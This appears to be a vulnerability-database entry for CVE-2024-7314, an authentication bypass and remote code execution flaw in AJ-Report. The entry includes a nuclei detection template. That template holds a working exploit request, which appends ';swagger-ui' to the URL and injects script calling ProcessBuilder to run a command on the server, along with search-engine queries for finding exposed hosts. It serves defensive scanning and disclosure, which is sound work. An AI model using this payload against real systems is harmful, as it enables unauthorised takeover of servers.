CVE-2024-7314· anji-plus / report· CWE-280
AJ-Report < 1.4.1 - Remote Code Execution
AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append ";swagger-ui" to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.
Impact
Unauthenticated attackers can bypass authentication and execute arbitrary Java code on the server through script engine injection, achieving complete system compromise and access to all application data.
Fix
Upgrade to AJ-Report version 1.4.1 or later which includes security fixes.
How to confirm it
Send: POST /dataSetParam/verification;swagger-ui/
Positive when: matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)/ AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2024-7314 -u <target>
The full check
id: CVE-2024-7314
info:
name: AJ-Report < 1.4.1 - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append ";swagger-ui" to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.
impact: |
Unauthenticated attackers can bypass authentication and execute arbitrary Java code on the server through script engine injection, achieving complete system compromise and access to all application data.
remediation: |
Upgrade to AJ-Report version 1.4.1 or later which includes security fixes.
reference:
- https://github.com/vulhub/vulhub/tree/master/aj-report/CNVD-2024-15077
- https://github.com/yuebusao/AJ-REPORT-EXPLOIT
- https://xz.aliyun.com/t/14460
- https://nvd.nist.gov/vuln/detail/CVE-2024-7314
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-280
epss-score: 0.5175
epss-percentile: 0.98958
cve-id: CVE-2024-7314
cpe: cpe:2.3:a:anji-plus:report:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: anji-plus
product: report
fofa-query: app="AJ-Report"
shodan-query: http.title:"AJ-Report"
tags: cve,cve2024,aj-report,anji-plus,rce,swagger,vkev,vuln
http:
- raw:
- |
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- 'data":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"References
- https://github.com/vulhub/vulhub/tree/master/aj-report/CNVD-2024-15077
- https://github.com/yuebusao/AJ-REPORT-EXPLOIT
- https://xz.aliyun.com/t/14460
- https://nvd.nist.gov/vuln/detail/CVE-2024-7314
Use this check only on systems you are authorised to test. Where the data comes from